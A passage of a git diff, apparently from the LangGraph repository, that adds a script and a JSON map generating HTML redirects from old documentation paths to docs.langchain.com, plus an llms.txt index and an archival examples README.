Documentation + + + + + + +

Documentation has moved

+

The LangGraph documentation has moved to docs.langchain.com.

+

Redirecting you now...

+ + +""" + +CATCHALL_404_TEMPLATE = """ + + + + Redirecting to LangGraph Documentation + + + + + + +

Documentation has moved

+

The LangGraph documentation has moved to docs.langchain.com.

+

Redirecting you now...

+ + +""" + + +def generate_redirects(): + script_dir = Path(__file__).parent + output_dir = script_dir / "_site" + + # Load redirects + with open(script_dir / "redirects.json") as f: + redirects = json.load(f) + + # Clean output directory + if output_dir.exists(): + import shutil + shutil.rmtree(output_dir) + output_dir.mkdir(parents=True) + + # Generate individual HTML files for each redirect + for old_path, new_url in redirects.items(): + # Remove leading slash and create directory structure + path = old_path.lstrip("/") + + # Check if path has a file extension (e.g., .txt, .xml) + # If so, create the file directly instead of a directory with index.html + path_obj = Path(path) + has_extension = path_obj.suffix and len(path_obj.suffix) <= 5 + + if not path: + html_path = output_dir / "index.html" + elif has_extension: + # For files with extensions, create the file directly + html_path = output_dir / path + else: + # For directory-style URLs, create index.html inside + html_path = output_dir / path / "index.html" + + # Create parent directories + html_path.parent.mkdir(parents=True, exist_ok=True) + + # Write the redirect HTML + html_path.write_text(HTML_TEMPLATE.format(url=new_url)) + print(f"Created: {html_path}") + + # Create root index.html + root_index = output_dir / "index.html" + if not root_index.exists(): + root_index.write_text(ROOT_HTML_TEMPLATE.format(url=DEFAULT_REDIRECT)) + print(f"Created: {root_index}") + + # Create 404.html for catchall + catchall_404 = output_dir / "404.html" + catchall_404.write_text(CATCHALL_404_TEMPLATE.format(default_url=DEFAULT_REDIRECT)) + print(f"Created: {catchall_404}") + + # Copy static files (like llms.txt) that can't be redirected via HTML + static_files = ["llms.txt"] + for static_file in static_files: + src = script_dir / static_file + if src.exists(): + dst = output_dir / static_file + dst.write_text(src.read_text()) + print(f"Copied: {dst}") + + print(f"\nGenerated {len(redirects)} redirect files in {output_dir}") + + +if __name__ == "__main__": + generate_redirects() diff --git a/docs/llms.txt b/docs/llms.txt new file mode 100644 index 0000000..75017c3 --- /dev/null +++ b/docs/llms.txt @@ -0,0 +1,35 @@ +# LangGraph + +LangGraph documentation has moved to docs.langchain.com. + +## Overview + +- [LangGraph Overview](https://docs.langchain.com/oss/python/langgraph/overview): Introduction to LangGraph, a library for building stateful, multi-actor applications with LLMs. +- [Why LangGraph?](https://docs.langchain.com/oss/python/langgraph/why-langgraph): Motivation for LangGraph and its key features. + +## Core Concepts + +- [Graph API](https://docs.langchain.com/oss/python/langgraph/graph-api): Learn how to define state, create nodes, and connect them with edges. +- [Streaming](https://docs.langchain.com/oss/python/langgraph/streaming): Stream outputs from your graph for better UX. +- [Persistence](https://docs.langchain.com/oss/python/langgraph/persistence): Add memory and checkpointing to your graphs. +- [Add Memory](https://docs.langchain.com/oss/python/langgraph/add-memory): Implement short-term and long-term memory. +- [Workflows & Agents](https://docs.langchain.com/oss/python/langgraph/workflows-agents): Build agents and workflows with LangGraph. + +## How-To Guides + +- [Use Subgraphs](https://docs.langchain.com/oss/python/langgraph/use-subgraphs): Compose graphs using subgraphs. +- [Observability](https://docs.langchain.com/oss/python/langgraph/observability): Add tracing and debugging to your graphs. +- [Common Errors](https://docs.langchain.com/oss/python/langgraph/common-errors): Troubleshoot common LangGraph errors. + +## Tutorials + +- [Agentic RAG](https://docs.langchain.com/oss/python/langgraph/agentic-rag): Build an agentic RAG system with LangGraph. +- [SQL Agent](https://docs.langchain.com/oss/python/langgraph/sql-agent): Create a SQL agent with LangGraph. + +## Reference + +- [API Reference](https://reference.langchain.com/python/langgraph/): Complete API documentation for LangGraph. + +## LangGraph Platform + +For deploying LangGraph applications in production, see the [LangSmith documentation](https://docs.langchain.com/langsmith/agent-server). diff --git a/docs/redirects.json b/docs/redirects.json new file mode 100644 index 0000000..1510ed3 --- /dev/null +++ b/docs/redirects.json @@ -0,0 +1,296 @@ +{ + "/how-tos/stream-values": "https://docs.langchain.com/oss/python/langgraph/streaming", + "/how-tos/stream-updates": "https://docs.langchain.com/oss/python/langgraph/streaming", + "/how-tos/streaming-content": "https://docs.langchain.com/oss/python/langgraph/streaming", + "/how-tos/stream-multiple": "https://docs.langchain.com/oss/python/langgraph/streaming", + "/how-tos/streaming-tokens-without-langchain": "https://docs.langchain.com/oss/python/langgraph/streaming", + "/how-tos/streaming-from-final-node": "https://docs.langchain.com/oss/python/langgraph/streaming", + "/how-tos/streaming-events-from-within-tools-without-langchain": "https://docs.langchain.com/oss/python/langgraph/streaming", + "/how-tos/state-reducers": "https://docs.langchain.com/oss/python/langgraph/graph-api#define-and-update-state", + "/how-tos/sequence": "https://docs.langchain.com/oss/python/langgraph/graph-api#create-a-sequence-of-steps", + "/how-tos/branching": "https://docs.langchain.com/oss/python/langgraph/graph-api#create-branches", + "/how-tos/recursion-limit": "https://docs.langchain.com/oss/python/langgraph/graph-api#create-and-control-loops", + "/how-tos/visualization": "https://docs.langchain.com/oss/python/langgraph/graph-api#visualize-your-graph", + "/how-tos/input_output_schema": "https://docs.langchain.com/oss/python/langgraph/graph-api#define-input-and-output-schemas", + "/how-tos/pass_private_state": "https://docs.langchain.com/oss/python/langgraph/graph-api#pass-private-state-between-nodes", + "/how-tos/state-model": "https://docs.langchain.com/oss/python/langgraph/graph-api#use-pydantic-models-for-graph-state", + "/how-tos/map-reduce": "https://docs.langchain.com/oss/python/langgraph/graph-api#map-reduce-and-the-send-api", + "/how-tos/command": "https://docs.langchain.com/oss/python/langgraph/graph-api#combine-control-flow-and-state-updates-with-command", + "/how-tos/configuration": "https://docs.langchain.com/oss/python/langgraph/graph-api#add-runtime-configuration", + "/how-tos/node-retries": "https://docs.langchain.com/oss/python/langgraph/graph-api#add-retry-policies", + "/how-tos/return-when-recursion-limit-hits": "https://docs.langchain.com/oss/python/langgraph/graph-api#impose-a-recursion-limit", + "/how-tos/async": "https://docs.langchain.com/oss/python/langgraph/graph-api#async", + "/how-tos/memory/manage-conversation-history": "https://docs.langchain.com/oss/python/langgraph/add-memory", + "/how-tos/memory/delete-messages": "https://docs.langchain.com/oss/python/langgraph/add-memory#delete-messages", + "/how-tos/memory/add-summary-conversation-history": "https://docs.langchain.com/oss/python/langgraph/add-memory#summarize-messages", + "/how-tos/memory": "https://docs.langchain.com/oss/python/langgraph/add-memory", + "/agents/memory": "https://docs.langchain.com/oss/python/langgraph/add-memory", + "/how-tos/subgraph-transform-state": "https://docs.langchain.com/oss/python/langgraph/use-subgraphs#different-state-schemas", + "/how-tos/subgraphs-manage-state": "https://docs.langchain.com/oss/python/langgraph/use-subgraphs#add-persistence", + "/how-tos/persistence_postgres": "https://docs.langchain.com/oss/python/langgraph/add-memory#use-in-production", + "/how-tos/persistence_mongodb": "https://docs.langchain.com/oss/python/langgraph/add-memory#use-in-production", + "/how-tos/persistence_redis": "https://docs.langchain.com/oss/python/langgraph/add-memory#use-in-production", + "/how-tos/subgraph-persistence": "https://docs.langchain.com/oss/python/langgraph/add-memory#use-with-subgraphs", + "/how-tos/cross-thread-persistence": "https://docs.langchain.com/oss/python/langgraph/add-memory#add-long-term-memory", + "/cloud/how-tos/copy_threads": "https://docs.langchain.com/langsmith/use-threads", + "/cloud/how-tos/check-thread-status": "https://docs.langchain.com/langsmith/use-threads", + "/cloud/concepts/threads": "https://docs.langchain.com/oss/python/langgraph/persistence#threads", + "/how-tos/persistence": "https://docs.langchain.com/oss/python/langgraph/add-memory", + "/how-tos/tool-calling-errors": "https://docs.langchain.com/oss/python/langgraph/workflows-agents", + "/how-tos/pass-config-to-tools": "https://docs.langchain.com/oss/python/langgraph/workflows-agents", + "/how-tos/pass-run-time-values-to-tools": "https://docs.langchain.com/oss/python/langgraph/workflows-agents", + "/how-tos/update-state-from-tools": "https://docs.langchain.com/oss/python/langgraph/workflows-agents", + "/agents/tools": "https://docs.langchain.com/oss/python/langgraph/workflows-agents", + "/how-tos/agent-handoffs": "https://docs.langchain.com/oss/python/langgraph/graph-api", + "/how-tos/multi-agent-network": "https://docs.langchain.com/oss/python/langgraph/graph-api", + "/how-tos/multi-agent-multi-turn-convo": "https://docs.langchain.com/oss/python/langgraph/graph-api", + "/cloud/index": "https://docs.langchain.com/oss/python/langgraph/overview", + "/cloud/how-tos/index": "https://docs.langchain.com/langsmith/home", + "/cloud/concepts/api": "https://docs.langchain.com/langsmith/agent-server", + "/cloud/concepts/cloud": "https://docs.langchain.com/langsmith/cloud", + "/cloud/faq/studio": "https://docs.langchain.com/langsmith/studio", + "/cloud/how-tos/human_in_the_loop_edit_state": "https://docs.langchain.com/langsmith/add-human-in-the-loop", + "/cloud/how-tos/human_in_the_loop_user_input": "https://docs.langchain.com/langsmith/add-human-in-the-loop", + "/concepts/platform_architecture": "https://docs.langchain.com/langsmith/cloud#architecture", + "/cloud/how-tos/stream_values": "https://docs.langchain.com/langsmith/streaming", + "/cloud/how-tos/stream_updates": "https://docs.langchain.com/langsmith/streaming", + "/cloud/how-tos/stream_messages": "https://docs.langchain.com/langsmith/streaming", + "/cloud/how-tos/stream_events": "https://docs.langchain.com/langsmith/streaming", + "/cloud/how-tos/stream_debug": "https://docs.langchain.com/langsmith/streaming", + "/cloud/how-tos/stream_multiple": "https://docs.langchain.com/langsmith/streaming", + "/cloud/concepts/streaming": "https://docs.langchain.com/oss/python/langgraph/streaming", + "/agents/streaming": "https://docs.langchain.com/oss/python/langgraph/streaming", + "/how-tos/create-react-agent": "https://docs.langchain.com/oss/python/langchain/agents#basic-configuration", + "/how-tos/create-react-agent-memory": "https://docs.langchain.com/oss/python/langgraph/add-memory", + "/how-tos/create-react-agent-system-prompt": "https://docs.langchain.com/oss/python/langgraph/add-memory", + "/how-tos/create-react-agent-structured-output": "https://docs.langchain.com/oss/python/langchain/agents#structured-output", + "/prebuilt": "https://docs.langchain.com/oss/python/langchain/agents", + "/reference/prebuilt": "https://reference.langchain.com/python/langgraph/agents/", + "/concepts/high_level": "https://docs.langchain.com/oss/python/langgraph/overview", + "/concepts/index": "https://docs.langchain.com/oss/python/langgraph/overview", + "/concepts/v0-human-in-the-loop": "https://docs.langchain.com/oss/python/langgraph/interrupts", + "/how-tos/index": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/introduction": "https://docs.langchain.com/oss/python/langgraph/overview", + "/agents/deployment": "https://docs.langchain.com/oss/python/langgraph/local-server", + "/how-tos/deploy-self-hosted": "https://docs.langchain.com/langsmith/platform-setup", + "/concepts/self_hosted": "https://docs.langchain.com/langsmith/platform-setup", + "/tutorials/deployment": "https://docs.langchain.com/langsmith/deployments", + "/cloud/how-tos/assistant_versioning": "https://docs.langchain.com/langsmith/configuration-cloud", + "/cloud/concepts/runs": "https://docs.langchain.com/langsmith/assistants#execution", + "/how-tos/wait-user-input-functional": "https://docs.langchain.com/oss/python/langgraph/functional-api", + "/how-tos/review-tool-calls-functional": "https://docs.langchain.com/oss/python/langgraph/functional-api", + "/how-tos/create-react-agent-hitl": "https://docs.langchain.com/oss/python/langgraph/interrupts", + "/agents/human-in-the-loop": "https://docs.langchain.com/oss/python/langgraph/interrupts", + "/how-tos/human_in_the_loop/dynamic_breakpoints": "https://docs.langchain.com/oss/python/langgraph/interrupts", + "/concepts/breakpoints": "https://docs.langchain.com/oss/python/langgraph/interrupts", + "/how-tos/human_in_the_loop/breakpoints": "https://docs.langchain.com/oss/python/langgraph/interrupts", + "/cloud/how-tos/human_in_the_loop_breakpoint": "https://docs.langchain.com/langsmith/add-human-in-the-loop", + "/how-tos/human_in_the_loop/edit-graph-state": "https://docs.langchain.com/oss/python/langgraph/use-time-travel", + "/examples/index": "https://docs.langchain.com/oss/python/langgraph/case-studies", + "/guides/index": "https://docs.langchain.com/oss/python/langchain/overview", + "/tutorials/index": "https://docs.langchain.com/oss/python/learn", + "/llms-txt-overview": "https://docs.langchain.com/llms.txt", + "/tutorials/rag/langgraph_adaptive_rag": "https://docs.langchain.com/oss/python/langgraph/agentic-rag", + "/tutorials/multi_agent/multi-agent-collaboration": "https://docs.langchain.com/oss/python/langchain/multi-agent", + "/how-tos/create-react-agent-manage-message-history": "https://docs.langchain.com/oss/python/langgraph/add-memory", + "/how-tos/many-tools": "https://docs.langchain.com/oss/python/langchain/tools", + "/tutorials/customer-support/customer-support": "https://docs.langchain.com/oss/python/langgraph/agentic-rag", + "/how-tos/react-agent-structured-output": "https://docs.langchain.com/oss/python/langchain/agents#structured-output", + "/tutorials/code_assistant/langgraph_code_assistant": "https://docs.langchain.com/oss/python/langgraph/agentic-rag", + "/tutorials/multi_agent/hierarchical_agent_teams": "https://docs.langchain.com/oss/python/langchain/supervisor", + "/tutorials/auth/getting_started": "https://docs.langchain.com/langsmith/auth", + "/tutorials/auth/resource_auth": "https://docs.langchain.com/langsmith/resource-auth", + "/tutorials/auth/add_auth_server": "https://docs.langchain.com/langsmith/add-auth-server", + "/how-tos/use-remote-graph": "https://docs.langchain.com/langsmith/use-remote-graph", + "/how-tos/autogen-integration": "https://docs.langchain.com/langsmith/autogen-integration", + "/how-tos/human_in_the_loop/wait-user-input": "https://docs.langchain.com/oss/python/langgraph/interrupts", + "/cloud/how-tos/use_stream_react": "https://docs.langchain.com/langsmith/use-stream-react", + "/cloud/how-tos/generative_ui_react": "https://docs.langchain.com/langsmith/generative-ui-react", + "/concepts/langgraph_platform": "https://docs.langchain.com/langsmith/home", + "/concepts/langgraph_components": "https://docs.langchain.com/langsmith/components", + "/concepts/langgraph_server": "https://docs.langchain.com/langsmith/agent-server", + "/concepts/langgraph_data_plane": "https://docs.langchain.com/langsmith/data-plane", + "/concepts/langgraph_control_plane": "https://docs.langchain.com/langsmith/control-plane", + "/concepts/langgraph_cli": "https://docs.langchain.com/langsmith/cli", + "/concepts/langgraph_studio": "https://docs.langchain.com/langsmith/studio", + "/cloud/how-tos/studio/quick_start": "https://docs.langchain.com/langsmith/quick-start-studio", + "/cloud/how-tos/invoke_studio": "https://docs.langchain.com/langsmith/use-studio", + "/cloud/how-tos/studio/manage_assistants": "https://docs.langchain.com/langsmith/use-studio", + "/cloud/how-tos/threads_studio": "https://docs.langchain.com/langsmith/use-threads", + "/cloud/how-tos/iterate_graph_studio": "https://docs.langchain.com/langsmith/use-studio", + "/cloud/how-tos/studio/run_evals": "https://docs.langchain.com/langsmith/observability", + "/cloud/how-tos/clone_traces_studio": "https://docs.langchain.com/langsmith/observability", + "/cloud/how-tos/datasets_studio": "https://docs.langchain.com/langsmith/use-studio", + "/concepts/sdk": "https://docs.langchain.com/langsmith/sdk", + "/concepts/plans": "https://docs.langchain.com/langsmith/home", + "/concepts/application_structure": "https://docs.langchain.com/langsmith/application-structure", + "/concepts/scalability_and_resilience": "https://docs.langchain.com/langsmith/scalability-and-resilience", + "/concepts/auth": "https://docs.langchain.com/langsmith/auth", + "/how-tos/auth/custom_auth": "https://docs.langchain.com/langsmith/custom-auth", + "/how-tos/auth/openapi_security": "https://docs.langchain.com/langsmith/openapi-security", + "/concepts/assistants": "https://docs.langchain.com/langsmith/assistants", + "/cloud/how-tos/configuration_cloud": "https://docs.langchain.com/langsmith/configuration-cloud", + "/cloud/how-tos/use_threads": "https://docs.langchain.com/langsmith/use-threads", + "/cloud/how-tos/background_run": "https://docs.langchain.com/langsmith/background-run", + "/cloud/how-tos/same-thread": "https://docs.langchain.com/langsmith/same-thread", + "/cloud/how-tos/stateless_runs": "https://docs.langchain.com/langsmith/stateless-runs", + "/cloud/how-tos/configurable_headers": "https://docs.langchain.com/langsmith/configurable-headers", + "/concepts/double_texting": "https://docs.langchain.com/langsmith/double-texting", + "/cloud/how-tos/interrupt_concurrent": "https://docs.langchain.com/langsmith/interrupt-concurrent", + "/cloud/how-tos/rollback_concurrent": "https://docs.langchain.com/langsmith/rollback-concurrent", + "/cloud/how-tos/reject_concurrent": "https://docs.langchain.com/langsmith/reject-concurrent", + "/cloud/how-tos/enqueue_concurrent": "https://docs.langchain.com/langsmith/enqueue-concurrent", + "/cloud/concepts/webhooks": "https://docs.langchain.com/langsmith/use-webhooks", + "/cloud/how-tos/webhooks": "https://docs.langchain.com/langsmith/use-webhooks", + "/cloud/concepts/cron_jobs": "https://docs.langchain.com/langsmith/cron-jobs", + "/cloud/how-tos/cron_jobs": "https://docs.langchain.com/langsmith/cron-jobs", + "/how-tos/http/custom_lifespan": "https://docs.langchain.com/langsmith/custom-lifespan", + "/how-tos/http/custom_middleware": "https://docs.langchain.com/langsmith/custom-middleware", + "/how-tos/http/custom_routes": "https://docs.langchain.com/langsmith/custom-routes", + "/cloud/concepts/data_storage_and_privacy": "https://docs.langchain.com/langsmith/data-storage-and-privacy", + "/cloud/deployment/semantic_search": "https://docs.langchain.com/langsmith/semantic-search", + "/how-tos/ttl/configure_ttl": "https://docs.langchain.com/langsmith/configure-ttl", + "/concepts/deployment_options": "https://docs.langchain.com/langsmith/deployments", + "/cloud/quick_start": "https://docs.langchain.com/langsmith/deployment-quickstart", + "/cloud/deployment/setup": "https://docs.langchain.com/langsmith/setup-app-requirements-txt", + "/cloud/deployment/setup_pyproject": "https://docs.langchain.com/langsmith/setup-pyproject", + "/cloud/deployment/setup_javascript": "https://docs.langchain.com/langsmith/setup-javascript", + "/cloud/deployment/custom_docker": "https://docs.langchain.com/langsmith/custom-docker", + "/cloud/deployment/graph_rebuild": "https://docs.langchain.com/langsmith/graph-rebuild", + "/concepts/langgraph_cloud": "https://docs.langchain.com/langsmith/cloud", + "/concepts/langgraph_self_hosted_data_plane": "https://docs.langchain.com/langsmith/platform-setup", + "/concepts/langgraph_self_hosted_control_plane": "https://docs.langchain.com/langsmith/platform-setup", + "/concepts/langgraph_standalone_container": "https://docs.langchain.com/langsmith/docker", + "/cloud/deployment/cloud": "https://docs.langchain.com/langsmith/cloud", + "/cloud/deployment/self_hosted_data_plane": "https://docs.langchain.com/langsmith/platform-setup", + "/cloud/deployment/self_hosted_control_plane": "https://docs.langchain.com/langsmith/platform-setup", + "/cloud/deployment/standalone_container": "https://docs.langchain.com/langsmith/docker", + "/concepts/server-mcp": "https://docs.langchain.com/langsmith/server-mcp", + "/cloud/how-tos/human_in_the_loop_time_travel": "https://docs.langchain.com/langsmith/human-in-the-loop-time-travel", + "/cloud/how-tos/add-human-in-the-loop": "https://docs.langchain.com/langsmith/add-human-in-the-loop", + "/cloud/deployment/egress": "https://docs.langchain.com/langsmith/env-var", + "/cloud/how-tos/streaming": "https://docs.langchain.com/langsmith/streaming", + "/cloud/reference/api/api_ref": "https://docs.langchain.com/langsmith/server-api-ref", + "/cloud/reference/langgraph_server_changelog": "https://docs.langchain.com/langsmith/agent-server-changelog", + "/cloud/reference/api/api_ref_control_plane": "https://docs.langchain.com/langsmith/api-ref-control-plane", + "/cloud/reference/cli": "https://docs.langchain.com/langsmith/cli", + "/cloud/reference/env_var": "https://docs.langchain.com/langsmith/env-var", + "/troubleshooting/studio": "https://docs.langchain.com/langsmith/troubleshooting-studio", + "/index": "https://docs.langchain.com/oss/python/langgraph/overview", + "/agents/agents": "https://docs.langchain.com/oss/python/langchain/agents", + "/concepts/why-langgraph": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/get-started/1-build-basic-chatbot": "https://docs.langchain.com/oss/python/langgraph/quickstart", + "/tutorials/get-started/2-add-tools": "https://docs.langchain.com/oss/python/langgraph/quickstart", + "/tutorials/get-started/3-add-memory": "https://docs.langchain.com/oss/python/langgraph/quickstart", + "/tutorials/get-started/4-human-in-the-loop": "https://docs.langchain.com/oss/python/langgraph/quickstart", + "/tutorials/get-started/5-customize-state": "https://docs.langchain.com/oss/python/langgraph/quickstart", + "/tutorials/get-started/6-time-travel": "https://docs.langchain.com/oss/python/langgraph/quickstart", + "/tutorials/langsmith/local-server": "https://docs.langchain.com/oss/python/langgraph/local-server", + "/tutorials/workflows": "https://docs.langchain.com/oss/python/langgraph/workflows-agents", + "/tutorials/plan-and-execute/plan-and-execute": "https://docs.langchain.com/oss/python/langchain/middleware/built-in#to-do-list", + "/tutorials/langgraph-platform/local-server/local-server": "https://docs.langchain.com/langsmith/local-server", + "/concepts/agentic_concepts": "https://docs.langchain.com/oss/python/langgraph/workflows-agents", + "/agents/overview": "https://docs.langchain.com/oss/python/langchain/agents", + "/agents/run_agents": "https://docs.langchain.com/oss/python/langgraph/quickstart", + "/concepts/low_level": "https://docs.langchain.com/oss/python/langgraph/graph-api", + "/how-tos/graph-api": "https://docs.langchain.com/oss/python/langgraph/graph-api", + "/how-tos/react-agent-from-scratch": "https://docs.langchain.com/oss/python/langchain/quickstart", + "/concepts/functional_api": "https://docs.langchain.com/oss/python/langgraph/functional-api", + "/how-tos/use-functional-api": "https://docs.langchain.com/oss/python/langgraph/functional-api", + "/concepts/pregel": "https://docs.langchain.com/oss/python/langgraph/pregel", + "/concepts/streaming": "https://docs.langchain.com/oss/python/langgraph/streaming", + "/how-tos/streaming": "https://docs.langchain.com/oss/python/langgraph/streaming", + "/concepts/persistence": "https://docs.langchain.com/oss/python/langgraph/persistence", + "/concepts/durable_execution": "https://docs.langchain.com/oss/python/langgraph/durable-execution", + "/concepts/memory": "https://docs.langchain.com/oss/python/langgraph/memory", + "/how-tos/memory/add-memory": "https://docs.langchain.com/oss/python/langgraph/add-memory", + "/agents/context": "https://docs.langchain.com/oss/python/langgraph/add-memory", + "/agents/models": "https://docs.langchain.com/oss/python/langgraph/overview", + "/concepts/tools": "https://docs.langchain.com/oss/python/langgraph/workflows-agents", + "/how-tos/tool-calling": "https://docs.langchain.com/oss/python/langgraph/workflows-agents", + "/concepts/human_in_the_loop": "https://docs.langchain.com/oss/python/langgraph/interrupts", + "/how-tos/human_in_the_loop/add-human-in-the-loop": "https://docs.langchain.com/oss/python/langgraph/interrupts", + "/concepts/time-travel": "https://docs.langchain.com/oss/python/langgraph/persistence", + "/how-tos/human_in_the_loop/time-travel": "https://docs.langchain.com/oss/python/langgraph/use-time-travel", + "/concepts/subgraphs": "https://docs.langchain.com/oss/python/langgraph/use-subgraphs", + "/how-tos/subgraph": "https://docs.langchain.com/oss/python/langgraph/use-subgraphs", + "/concepts/multi_agent": "https://docs.langchain.com/oss/python/langgraph/graph-api", + "/agents/multi-agent": "https://docs.langchain.com/oss/python/langchain/multi-agent", + "/how-tos/multi_agent": "https://docs.langchain.com/oss/python/langgraph/graph-api", + "/concepts/mcp": "https://docs.langchain.com/oss/python/langgraph/overview", + "/agents/mcp": "https://docs.langchain.com/oss/python/langgraph/overview", + "/concepts/tracing": "https://docs.langchain.com/oss/python/langgraph/observability", + "/how-tos/enable-tracing": "https://docs.langchain.com/oss/python/langgraph/observability", + "/agents/evals": "https://docs.langchain.com/oss/python/langgraph/overview", + "/concepts/template_applications": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/rag/langgraph_agentic_rag": "https://docs.langchain.com/oss/python/langgraph/agentic-rag", + "/tutorials/multi_agent/agent_supervisor": "https://docs.langchain.com/oss/python/langgraph/workflows-agents", + "/tutorials/sql/sql-agent": "https://docs.langchain.com/oss/python/langgraph/sql-agent", + "/agents/ui": "https://docs.langchain.com/oss/python/langgraph/ui", + "/how-tos/run-id-langsmith": "https://docs.langchain.com/oss/python/langgraph/observability", + "/troubleshooting/errors/index": "https://docs.langchain.com/oss/python/langgraph/common-errors", + "/troubleshooting/errors/INVALID_CHAT_HISTORY": "https://docs.langchain.com/oss/python/langgraph/INVALID_CHAT_HISTORY", + "/troubleshooting/errors/INVALID_LICENSE": "https://docs.langchain.com/oss/python/langgraph/common-errors", + "/adopters": "https://docs.langchain.com/oss/python/langgraph/case-studies", + "/concepts/faq": "https://docs.langchain.com/oss/python/langgraph/overview", + "/agents/prebuilt": "https://docs.langchain.com/oss/python/langchain/agents", + "/reference/index": "https://reference.langchain.com/python/langgraph/", + "/reference/graphs": "https://reference.langchain.com/python/langgraph/graphs/", + "/reference/func": "https://reference.langchain.com/python/langgraph/func/", + "/reference/pregel": "https://reference.langchain.com/python/langgraph/pregel/", + "/reference/checkpoints": "https://reference.langchain.com/python/langgraph/checkpoints/", + "/reference/store": "https://reference.langchain.com/python/langgraph/store/", + "/reference/cache": "https://reference.langchain.com/python/langgraph/cache/", + "/reference/types": "https://reference.langchain.com/python/langgraph/types/", + "/reference/runtime": "https://reference.langchain.com/python/langgraph/runtime/", + "/reference/config": "https://reference.langchain.com/python/langgraph/config/", + "/reference/errors": "https://reference.langchain.com/python/langgraph/errors/", + "/reference/constants": "https://reference.langchain.com/python/langgraph/constants/", + "/reference/channels": "https://reference.langchain.com/python/langgraph/channels/", + "/reference/agents": "https://reference.langchain.com/python/langgraph/agents/", + "/reference/supervisor": "https://reference.langchain.com/python/langgraph/supervisor/", + "/reference/swarm": "https://reference.langchain.com/python/langgraph/swarm/", + "/reference/mcp": "https://reference.langchain.com/python/langgraph/mcp/", + "/cloud/reference/sdk/python_sdk_ref": "https://reference.langchain.com/python/langsmith/deployment/sdk/", + "/reference/remote_graph": "https://reference.langchain.com/python/langsmith/deployment/remote_graph/", + "/additional-resources/index": "https://docs.langchain.com/oss/python/langchain/overview", + "/cloud/reference/sdk/js_ts_sdk_ref": "https://reference.langchain.com/javascript/modules/langsmith.html", + "/snippets/chat_model_tabs": "https://docs.langchain.com/oss/python/langchain/overview", + "/troubleshooting/errors/GRAPH_RECURSION_LIMIT": "https://docs.langchain.com/oss/python/langgraph/GRAPH_RECURSION_LIMIT", + "/troubleshooting/errors/INVALID_CONCURRENT_GRAPH_UPDATE": "https://docs.langchain.com/oss/python/langgraph/INVALID_CONCURRENT_GRAPH_UPDATE", + "/troubleshooting/errors/INVALID_GRAPH_NODE_RETURN_VALUE": "https://docs.langchain.com/oss/python/langgraph/INVALID_GRAPH_NODE_RETURN_VALUE", + "/troubleshooting/errors/MULTIPLE_SUBGRAPHS": "https://docs.langchain.com/oss/python/langgraph/MULTIPLE_SUBGRAPHS", + "/tutorials/rag/langgraph_self_rag": "https://docs.langchain.com/oss/python/langgraph/agentic-rag", + "/additional-resources": "https://docs.langchain.com/oss/python/langgraph/overview", + "/examples": "https://docs.langchain.com/oss/python/langgraph/overview", + "/guides": "https://docs.langchain.com/oss/python/langgraph/overview", + "/how-tos/autogen-integration-functional": "https://docs.langchain.com/oss/python/langgraph/overview", + "/how-tos/cross-thread-persistence-functional": "https://docs.langchain.com/oss/python/langgraph/add-memory#add-long-term-memory", + "/how-tos/disable-streaming": "https://docs.langchain.com/oss/python/langgraph/streaming", + "/how-tos/memory/semantic-search": "https://docs.langchain.com/oss/python/langgraph/add-memory", + "/how-tos/multi-agent-multi-turn-convo-functional": "https://docs.langchain.com/oss/python/langgraph/graph-api", + "/how-tos/multi-agent-network-functional": "https://docs.langchain.com/oss/python/langgraph/graph-api", + "/how-tos/persistence-functional": "https://docs.langchain.com/oss/python/langgraph/add-memory", + "/how-tos/react-agent-from-scratch-functional": "https://docs.langchain.com/oss/python/langgraph/workflows-agents", + "/reference": "https://reference.langchain.com/python/langgraph/", + "/troubleshooting/errors": "https://docs.langchain.com/oss/python/langgraph/common-errors", + "/tutorials/chatbot-simulation-evaluation/agent-simulation-evaluation": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/chatbot-simulation-evaluation/langsmith-agent-simulation-evaluation": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/chatbots/information-gather-prompting": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/extraction/retries": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/langgraph-platform/local-server": "https://docs.langchain.com/langsmith/agent-server", + "/tutorials/lats/lats": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/llm-compiler/LLMCompiler": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/rag/langgraph_adaptive_rag_local": "https://docs.langchain.com/oss/python/langgraph/agentic-rag", + "/tutorials/rag/langgraph_crag": "https://docs.langchain.com/oss/python/langgraph/agentic-rag", + "/tutorials/rag/langgraph_crag_local": "https://docs.langchain.com/oss/python/langgraph/agentic-rag", + "/tutorials/rag/langgraph_self_rag_local": "https://docs.langchain.com/oss/python/langgraph/agentic-rag", + "/tutorials/reflection/reflection": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/reflexion/reflexion": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/rewoo/rewoo": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/self-discover/self-discover": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/tnt-llm/tnt-llm": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/tot/tot": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/usaco/usaco": "https://docs.langchain.com/oss/python/langgraph/overview", + "/tutorials/web-navigation/web_voyager": "https://docs.langchain.com/oss/python/langgraph/overview" +} diff --git a/examples/README.md b/examples/README.md new file mode 100644 index 0000000..daabd08 --- /dev/null +++ b/examples/README.md @@ -0,0 +1,11 @@ +# LangGraph examples + +This directory is retained purely for archival purposes and is no longer updated. + +## 🤔 What is this? + +The examples previously found here have been moved to the consolidated LangChain documentation. This directory remains available for historical reference, but new examples and usage guidance are published in the docs. + +## 📖 Documentation + +For up-to-date LangGraph examples, tutorials, and guides, see the [LangGraph Docs](https://docs.langchain.com/oss/python/langgraph/overview). Get started with the [LangGraph Quickstart](https://docs.langchain.com/oss/python/langgraph/quickstart). diff --git a/examples/chatbot-simulation-evaluation/agent-simulation-evaluation.ipynb b/examples/chatbot-simulation-evaluation/agent-simulation-evaluation.ipynb new file mode 100644 index 0000000..eddf057 --- /dev/null +++ b/examples/chatbot-simulation-evaluation/agent-simulation-evaluation.ipynb @@ -0,0 +1,41 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "10251c1c", + "metadata": {}, + "source": [ + "[This file has been 